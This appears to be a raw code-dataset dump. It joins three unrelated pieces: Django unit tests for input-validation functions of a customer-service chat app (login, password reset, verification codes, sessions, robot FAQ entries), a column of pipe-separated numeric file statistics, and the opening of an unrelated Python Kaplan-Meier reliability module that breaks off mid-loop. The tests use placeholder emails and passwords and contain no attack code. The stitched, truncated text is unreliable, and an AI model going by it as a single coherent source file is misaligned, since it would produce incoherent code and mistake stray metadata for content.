admin_instance = Admin.objects.get(id=1)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
CustomerService.objects.create(id=2, email='cs2@test.com', enterprise=admin_instance, nickname='c_nick2', password='c_pass2', is_register=False, is_online=False, connection_num=0, vid='c_vid2')
def test(self):
json1 = {'email': 'cs1@test.com', 'vid': 'c_vid1'}
errorcode1, errormessage1 = customerservice_set_profile_check_vid_check(json1)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {'email': 'cs1@test.com'}
errorcode2, errormessage2 = customerservice_set_profile_check_vid_check(json2)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'email': 'cs1@test.com', 'vid': 'c_vid1', 'other': 'other'}
errorcode3, errormessage3 = customerservice_set_profile_check_vid_check(json3)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'email': 'cs2@test.com', 'vid': 'c_vid1'}
errorcode4, errormessage4 = customerservice_set_profile_check_vid_check(json4)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, wrong email or vid.')
json5 = {'email': 'cs1@test.com', 'vid': 'c_vid2'}
errorcode5, errormessage5 = customerservice_set_profile_check_vid_check(json5)
self.assertEqual(errorcode5, 0)
self.assertEqual(errormessage5, 'ERROR, wrong email or vid.')
instance = CustomerService.objects.get(id=2)
instance.vid_createtime = timezone.now() - timezone.timedelta(days=3)
instance.save()
json6 = {'email': 'cs2@test.com', 'vid': 'c_vid2'}
errorcode6, errormessage6 = customerservice_set_profile_check_vid_check(json6)
self.assertEqual(errorcode6, 0)
self.assertEqual(errormessage6, 'ERROR, vid is expired.')
class TestCsLoginCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
admin_instance = Admin.objects.get(id=1)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
def test(self):
json1 = {'email': 'cs1@test.com', 'password': 'c_pass1'}
errorcode1, errormessage1 = customerservice_login_check(json1)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {'email': 'cs1@test.com'}
errorcode2, errormessage2 = customerservice_login_check(json2)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'email': 'cs1@test.com', 'password': 'c_pass1', 'other': 'other'}
errorcode3, errormessage3 = customerservice_login_check(json3)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
class TestCsResetPasswordCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
admin_instance = Admin.objects.get(id=1)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
def test(self):
c = Client()
session = c.session
session['c_email'] = 'cs1@test.com'
session.save()
json1 = {'password': 'c_pass1', 'newpassword': 'Cnewpass1'}
errorcode1, errormessage1 = customerservice_reset_password_check(json1, c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {'password': 'c_pass1'}
errorcode2, errormessage2 = customerservice_reset_password_check(json2, c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'password': 'c_pass1', 'newpassword': 'Cnewpass1', 'other': 'other'}
errorcode3, errormessage3 = customerservice_reset_password_check(json3, c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
session.delete()
json4 = {'password': 'c_pass1', 'newpassword': 'Cnewpass1'}
errorcode4, errormessage4 = customerservice_reset_password_check(json4, c)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, session is broken.')
c1 = Client()
session1 = c1.session
session1['c_email'] = 'cs2@test.com'
session1.save()
json5 = {'password': 'c_pass1', 'newpassword': 'Cnewpass1'}
errorcode5, errormessage5 = customerservice_reset_password_check(json5, c1)
self.assertEqual(errorcode5, 0)
self.assertEqual(errormessage5, 'ERROR, wrong email.')
class TestCsForgetPasswordEmailRequestCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
admin_instance = Admin.objects.get(id=1)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
def test(self):
json1 = {'email': 'cs1@test.com'}
errorcode1, errormessage1 = customerservice_forget_password_email_request_check(json1)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {}
errorcode2, errormessage2 = customerservice_forget_password_email_request_check(json2)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'email': 'cs1@test.com', 'other': 'other'}
errorcode3, errormessage3 = customerservice_forget_password_email_request_check(json3)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'email': 'cs2@test.com'}
errorcode4, errormessage4 = customerservice_forget_password_email_request_check(json4)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, wrong email.')
class TestCsForgetPasswordCheckVidCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
admin_instance = Admin.objects.get(id=1)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
CustomerService.objects.create(id=2, email='cs2@test.com', enterprise=admin_instance, nickname='c_nick2', password='c_pass2', is_register=False, is_online=False, connection_num=0, vid='c_vid2')
def test(self):
json1 = {'email': 'cs1@test.com', 'vid': 'c_vid1'}
errorcode1, errormessage1 = customerservice_forget_password_check_vid_check(json1)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {'email': 'cs1@test.com'}
errorcode2, errormessage2 = customerservice_forget_password_check_vid_check(json2)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'email': 'cs1@test.com', 'vid': 'c_vid1', 'other': 'other'}
errorcode3, errormessage3 = customerservice_forget_password_check_vid_check(json3)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'email': 'cs2@test.com', 'vid': 'c_vid1'}
errorcode4, errormessage4 = customerservice_forget_password_check_vid_check(json4)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, wrong email or vid.')
json5 = {'email': 'cs1@test.com', 'vid': 'c_vid2'}
errorcode5, errormessage5 = customerservice_forget_password_check_vid_check(json5)
self.assertEqual(errorcode5, 0)
self.assertEqual(errormessage5, 'ERROR, wrong email or vid.')
instance = CustomerService.objects.get(id=2)
instance.vid_createtime = timezone.now() - timezone.timedelta(days=3)
instance.save()
json7 = {'email': 'cs2@test.com', 'vid': 'c_vid2'}
errorcode7, errormessage7 = customerservice_forget_password_check_vid_check(json7)
self.assertEqual(errorcode7, 0)
self.assertEqual(errormessage7, 'ERROR, vid is expired.')
class TestCsForgetPasswordSaveDataCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
admin_instance = Admin.objects.get(id=1)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
CustomerService.objects.create(id=2, email='cs2@test.com', enterprise=admin_instance, nickname='c_nick2', password='c_pass2', is_register=False, is_online=False, connection_num=0, vid='c_vid2')
def test(self):
json1 = {'email': 'cs1@test.com', 'newpassword': 'Cnewpass1', 'vid': 'c_vid1'}
errorcode1, errormessage1 = customerservice_forget_password_save_data_check(json1)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {'email': 'cs1@test.com', 'vid': 'c_vid1'}
errorcode2, errormessage2 = customerservice_forget_password_save_data_check(json2)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'email': 'cs1@test.com', 'newpassword': 'Cnewpass1', 'vid': 'c_vid1', 'other': 'other'}
errorcode3, errormessage3 = customerservice_forget_password_save_data_check(json3)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'email': 'cs2@test.com', 'newpassword': 'Cnewpass1', 'vid': 'c_vid1'}
errorcode4, errormessage4 = customerservice_forget_password_save_data_check(json4)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, wrong email or vid.')
json5 = {'email': 'cs1@test.com', 'newpassword': 'Cnewpass1', 'vid': 'c_vid2'}
errorcode5, errormessage5 = customerservice_forget_password_save_data_check(json5)
self.assertEqual(errorcode5, 0)
self.assertEqual(errormessage5, 'ERROR, wrong email or vid.')
instance = CustomerService.objects.get(id=2)
instance.vid_createtime = timezone.now() - timezone.timedelta(days=3)
instance.save()
json7 = {'email': 'cs2@test.com', 'newpassword': 'Cnewpass2', 'vid': 'c_vid2'}
errorcode7, errormessage7 = customerservice_forget_password_save_data_check(json7)
self.assertEqual(errorcode7, 0)
self.assertEqual(errormessage7, 'ERROR, vid is expired.')
class TestCsShowUserStatusCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
admin_instance = Admin.objects.get(id=1)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
def test(self):
c = Client()
session = c.session
session['c_email'] = 'cs1@test.com'
session.save()
errorcode1, errormessage1 = customerservice_show_user_status_check(c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
session['c_email'] = 'cs2@test.com'
session.save()
errorcode2, errormessage2 = customerservice_show_user_status_check(c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, wrong email.')
session.delete()
errorcode3, errormessage3 = customerservice_show_user_status_check(c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, session is broken.')
class TestCsUpdateConnectionNumCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
admin_instance = Admin.objects.get(id=1)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
def test(self):
c = Client()
session = c.session
session['c_email'] = 'cs1@test.com'
session.save()
json1 = {'connection_num': 10}
errorcode1, errormessage1 = customerservice_update_connection_num_check(json1, c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {}
errorcode2, errormessage2 = customerservice_update_connection_num_check(json2, c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'connection_num': 10, 'other': 'other'}
errorcode3, errormessage3 = customerservice_update_connection_num_check(json3, c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'connection_num': '10'}
errorcode4, errormessage4 = customerservice_update_connection_num_check(json4, c)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, wrong type.')
session['c_email'] = 'cs2@test.com'
session.save()
json5 = {'connection_num': 10}
errorcode5, errormessage5 = customerservice_update_connection_num_check(json5, c)
self.assertEqual(errorcode5, 0)
self.assertEqual(errormessage5, 'ERROR, wrong email.')
session.delete()
json6 = {'connection_num': 10}
errorcode6, errormessage6 = customerservice_update_connection_num_check(json6, c)
self.assertEqual(errorcode6, 0)
self.assertEqual(errormessage6, 'ERROR, session is broken.')
class TestCsUpdateLoginStatusCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
admin_instance = Admin.objects.get(id=1)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
def test(self):
c = Client()
session = c.session
session['c_email'] = 'cs1@test.com'
session.save()
json1 = {'login_status': True}
errorcode1, errormessage1 = customerservice_update_login_status_check(json1, c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {}
errorcode2, errormessage2 = customerservice_update_login_status_check(json2, c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'login_status': True, 'other': 'other'}
errorcode3, errormessage3 = customerservice_update_login_status_check(json3, c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'login_status': 'True'}
errorcode4, errormessage4 = customerservice_update_login_status_check(json4, c)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, wrong type.')
session['c_email'] = 'cs2@test.com'
session.save()
json5 = {'login_status': True}
errorcode5, errormessage5 = customerservice_update_login_status_check(json5, c)
self.assertEqual(errorcode5, 0)
self.assertEqual(errormessage5, 'ERROR, wrong email.')
session.delete()
json6 = {'login_status': True}
errorcode6, errormessage6 = customerservice_update_login_status_check(json6, c)
self.assertEqual(errorcode6, 0)
self.assertEqual(errormessage6, 'ERROR, session is broken.')
class TestCsRobotinfoCreateCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
admin_instance = Admin.objects.get(id=1)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
RobotInfo.objects.create(id=1, enterprise=admin_instance, question='question2', answer='answer2', keyword='keyword2', weight=0)
def test(self):
c = Client()
session = c.session
session['c_email'] = 'cs1@test.com'
session.save()
json1 = {'question': 'question1', 'answer': 'answer1', 'keyword': 'keyword1', 'weight': 0}
errorcode1, errormessage1 = customerservice_setrobotinfo_create_check(json1, c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {'question': 'question1', 'answer': 'answer1', 'weight': 0}
errorcode2, errormessage2 = customerservice_setrobotinfo_create_check(json2, c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'question': 'question1', 'answer': 'answer1', 'keyword': 'keyword1', 'weight': 0, 'other': 'other'}
errorcode3, errormessage3 = customerservice_setrobotinfo_create_check(json3, c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'question': 'question2', 'answer': 'answer1', 'keyword': 'keyword1', 'weight': 0}
errorcode4, errormessage4 = customerservice_setrobotinfo_create_check(json4, c)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, info is exist.')
session['c_email'] = 'cs2@test.com'
session.save()
json5 = {'question': 'question3', 'answer': 'answer1', 'keyword': 'keyword1', 'weight': 0}
errorcode5, errormessage5 = customerservice_setrobotinfo_create_check(json5, c)
self.assertEqual(errorcode5, 0)
self.assertEqual(errormessage5, 'ERROR, wrong email.')
session.delete()
json6 = {'question': 'question3', 'answer': 'answer1', 'keyword': 'keyword1', 'weight': 0}
errorcode6, errormessage6 = customerservice_setrobotinfo_create_check(json6, c)
self.assertEqual(errorcode6, 0)
self.assertEqual(errormessage6, 'ERROR, session is broken.')
class TestCsRobotinfoDeleteCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
admin_instance = Admin.objects.get(id=1)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
RobotInfo.objects.create(id=1, enterprise=admin_instance, question='question1', answer='answer1', keyword='keyword1', weight=0)
def test(self):
c = Client()
session = c.session
session['c_email'] = 'cs1@test.com'
session.save()
json1 = {'question': 'question1'}
errorcode1, errormessage1 = customerservice_setrobotinfo_delete_check(json1, c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {}
errorcode2, errormessage2 = customerservice_setrobotinfo_delete_check(json2, c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'question': 'question1', 'other': 'other'}
errorcode3, errormessage3 = customerservice_setrobotinfo_delete_check(json3, c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'question': 'question2'}
errorcode4, errormessage4 = customerservice_setrobotinfo_delete_check(json4, c)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, info is not exist.')
session['c_email'] = 'cs2@test.com'
session.save()
json5 = {'question': 'question1'}
errorcode5, errormessage5 = customerservice_setrobotinfo_delete_check(json5, c)
self.assertEqual(errorcode5, 0)
self.assertEqual(errormessage5, 'ERROR, wrong email.')
session.delete()
json6 = {'question': 'question1'}
errorcode6, errormessage6 = customerservice_setrobotinfo_delete_check(json6, c)
self.assertEqual(errorcode6, 0)
self.assertEqual(errormessage6, 'ERROR, session is broken.')
class TestCsRobotinfoShowCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
admin_instance = Admin.objects.get(id=1)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
RobotInfo.objects.create(id=1, enterprise=admin_instance, question='question1', answer='answer1', keyword='keyword1', weight=0)
def test(self):
c = Client()
session = c.session
session['c_email'] = 'cs1@test.com'
session.save()
errorcode1, errormessage1 = customerservice_setrobotinfo_show_check(c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
session['c_email'] = 'cs2@test.com'
session.save()
errorcode2, errormessage2 = customerservice_setrobotinfo_show_check(c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, wrong email.')
session.delete()
errorcode3, errormessage3 = customerservice_setrobotinfo_show_check(c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, session is broken.')
class TestCsDisplayrobotreplyShowCheck(TestCase):
def test(self):
json1 = {'nickname': 'a_nick1', 'customer_input': 'nihao'}
errorcode1, errormessage1 = customerservice_displayrobotreply_show_check(json1)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {'nickname': 'a_nick1'}
errorcode2, errormessage2 = customerservice_displayrobotreply_show_check(json2)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'nickname': 'a_nick1', 'customer_input': 'nihao', 'other': 'other'}
errorcode3, errormessage3 = customerservice_displayrobotreply_show_check(json3)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
class TestCsLogoutCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
admin_instance = Admin.objects.get(id=1)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
def test(self):
c = Client()
session = c.session
session['c_email'] = 'cs1@test.com'
session.save()
errorcode1, errormessage1 = customerservice_logout_check(c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
session['c_email'] = 'cs2@test.com'
session.save()
errorcode2, errormessage2 = customerservice_logout_check(c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, wrong email.')
session.delete()
errorcode3, errormessage3 = customerservice_logout_check(c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, session is broken.')
class TestCustomerCheckInfoCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
def test(self):
json1 = {'enterprise_id': 'a_nick1', 'customer_id': 'customer1', 'cusotmer_name': 'cusotmerName1', 'hash_result': 'hash1'}
errorcode1, errormessage1 = customer_check_info_check(json1)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {'enterprise_id': 'a_nick1', 'customer_id': 'customer1', 'cusotmer_name': 'cusotmerName1'}
errorcode2, errormessage2 = customer_check_info_check(json2)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'enterprise_id': 'a_nick1', 'customer_id': 'customer1', 'cusotmer_name': 'cusotmerName1', 'hash_result': 'hash1', 'other': 'other'}
errorcode3, errormessage3 = customer_check_info_check(json3)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'enterprise_id': 'a_nick2', 'customer_id': 'customer1', 'cusotmer_name': 'cusotmerName1', 'hash_result': 'hash1'}
errorcode4, errormessage4 = customer_check_info_check(json4)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, wrong nickname.')
class TestCustomerDisplayCustomerInfoPropertyNameCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
def test(self):
json1 = {'enterprise_id': 'a_nick1'}
errorcode1, errormessage1 = customer_display_customerinfopropertyname_check(json1)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {}
errorcode2, errormessage2 = customer_display_customerinfopropertyname_check(json2)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'enterprise_id': 'a_nick1', 'other': 'other'}
errorcode3, errormessage3 = customer_display_customerinfopropertyname_check(json3)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'enterprise_id': 'a_nick2'}
errorcode4, errormessage4 = customer_display_customerinfopropertyname_check(json4)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, wrong nickname.')
| 49.886885
| 216
| 0.684631
| 6,923
| 60,862
| 5.829843
| 0.035967
| 0.115956
| 0.048365
| 0.028989
| 0.875372
| 0.839148
| 0.812066
| 0.797597
| 0.774827
| 0.76276
| 0
| 0.03733
| 0.18353
| 60,862
| 1,219
| 217
| 49.92781
| 0.774873
| 0
| 0
| 0.652621
| 0
| 0
| 0.191565
| 0.00069
| 0
| 0
| 0
| 0
| 0.320658
| 1
| 0.068859
| false
| 0.153135
| 0.007194
| 0
| 0.110997
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
2589b9a22d8ef545bd02f98e1713ebda4b0b093d
| 21,598
|
py
|
Python
|
reliability/Nonparametric.py
|
subhadip2038/Reliability-By-M_Reid
|
918e829e8c594f1ea0f37fb2b717f8499eb93634
|
[
"MIT"
] | null | null | null |
reliability/Nonparametric.py
|
subhadip2038/Reliability-By-M_Reid
|
918e829e8c594f1ea0f37fb2b717f8499eb93634
|
[
"MIT"
] | null | null | null |
reliability/Nonparametric.py
|
subhadip2038/Reliability-By-M_Reid
|
918e829e8c594f1ea0f37fb2b717f8499eb93634
|
[
"MIT"
] | null | null | null |
'''
Non-parametric estimates of survival function, cumulative distribution function, and cumulative hazard function
Two estimation methods are implemented:
- Kaplan-Meier
- Nelson-Aalen
These methods arrive at very similar results but are distinctly different in their approach. Kaplan-Meier is more popular.
Both methods support failures and right censored data.
Confidence intervals are provided using the Greenwood formula with Normal approximation (as implemented in Minitab).
'''
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import scipy.stats as ss
class KaplanMeier:
'''
Kaplan-Meier
Uses the Kaplan-Meier estimation method to calculate the reliability from failure data.
Right censoring is supported and confidence bounds are provided.
The confidence bounds are calculated using the Greenwood formula with Normal approximation, which is the same as
featured in Minitab.
The Kaplan-Meier method provides the SF. With a little algebra, the CDF and CHF are also obtained from the SF.
It is not possible to obtain a useful version of the PDF or HF as the derivative of a stepwise function produces very spikey functions.
Inputs:
failures - an array or list of failure times. Sorting is automatic so times do not need to be provided in any order.
right_censored - an array or list of right censored failure times. Defaults to None.
show_plot - True/False. Default is True. Plots the CDF, SF, or CHF as specified by plot_type.
plot_type - SF, CDF, or CHF. Default is SF.
print_results - True/False. Default is True. Will display a pandas dataframe in the console.
plot_CI - shades the upper and lower confidence interval
CI - confidence interval between 0 and 1. Default is 0.95 for 95% CI.
Outputs:
results - dataframe of results for the SF
KM - list of Kaplan-Meier column from results dataframe. This column is the non parametric estimate of the Survival Function (reliability function).
xvals - the x-values to plot the stepwise plot as seen when show_plot=True
SF - survival function stepwise values (these differ from the KM values as there are extra values added in to make the plot into a step plot)
CDF - cumulative distribution function stepwise values
CHF - cumulative hazard function stepwise values
SF_lower - survival function stepwise values for lower CI
SF_upper - survival function stepwise values for upper CI
CDF_lower - cumulative distribution function stepwise values for lower CI
CDF_upper - cumulative distribution function stepwise values for upper CI
CHF_lower - cumulative hazard function stepwise values for lower CI
CHF_upper - cumulative hazard function stepwise values for upper CI
Example Usage:
f = [5248,7454,16890,17200,38700,45000,49390,69040,72280,131900]
rc = [3961,4007,4734,6054,7298,10190,23060,27160,28690,37100,40060,45670,53000,67000,69630,77350,78470,91680,105700,106300,150400]
KaplanMeier(failures = f, right_censored = rc)
'''
def __init__(self, failures=None, right_censored=None, show_plot=True, print_results=True, plot_CI=True, CI=0.95, plot_type='SF', **kwargs):
np.seterr(divide='ignore') # divide by zero occurs if last detapoint is a failure so risk set is zero
if failures is None:
raise ValueError('failures must be provided to calculate non-parametric estimates.')
if right_censored is None:
right_censored = [] # create empty array so it can be added in hstack
if plot_type not in ['CDF','SF','CHF','cdf','sf','chf']:
raise ValueError('plot_type must be CDF, SF, or CHF. Default is SF.')
# turn the failures and right censored times into a two lists of times and censoring codes
times = np.hstack([failures, right_censored])
F = np.ones_like(failures)
RC = np.zeros_like(right_censored) # censored values are given the code of 0
cens_code = np.hstack([F, RC])
Data = {'times': times, 'cens_code': cens_code}
df = pd.DataFrame(Data, columns=['times', 'cens_code'])
df2 = df.sort_values(by='times')
d = df2['times'].values
c = df2['cens_code'].values
self.data = d
self.censor_codes = c
if CI < 0 or CI > 1:
raise ValueError('CI must be between 0 and 1. Default is 0.95 for 95% confidence intervals.')
n = len(d) # number of items
failures_array = np.arange(1, n + 1) # array of number of items (1 to n)
remaining_array = failures_array[::-1] # items remaining (n to 1)
KM = [] # R(t)
KM_upper = [] # upper CI
KM_lower = [] # lower CI
z = ss.norm.ppf(1 - (1 - CI) / 2)
frac = []
delta = 0
for i in failures_array:
if i == 1:
KM.append((remaining_array[i - 1] - c[i - 1]) / remaining_array[i - 1])
else:
KM.append(((remaining_array[i - 1] - c[i - 1]) / remaining_array[i - 1]) * KM[i - 2])
# greenwood confidence interval calculations. Uses Normal approximation (same method as in Minitab)
if c[i - 1] == 1:
risk_set = n - i + 1
frac.append(1 / ((risk_set) * (risk_set - 1)))
sumfrac = sum(frac)
R2 = KM[i - 1] ** 2
if R2 > 0: # required if the last piece of data is a failure
delta = ((sumfrac * R2) ** 0.5) * z
else:
delta = 0
KM_upper.append(KM[i - 1] + delta)
KM_lower.append(KM[i - 1] - delta)
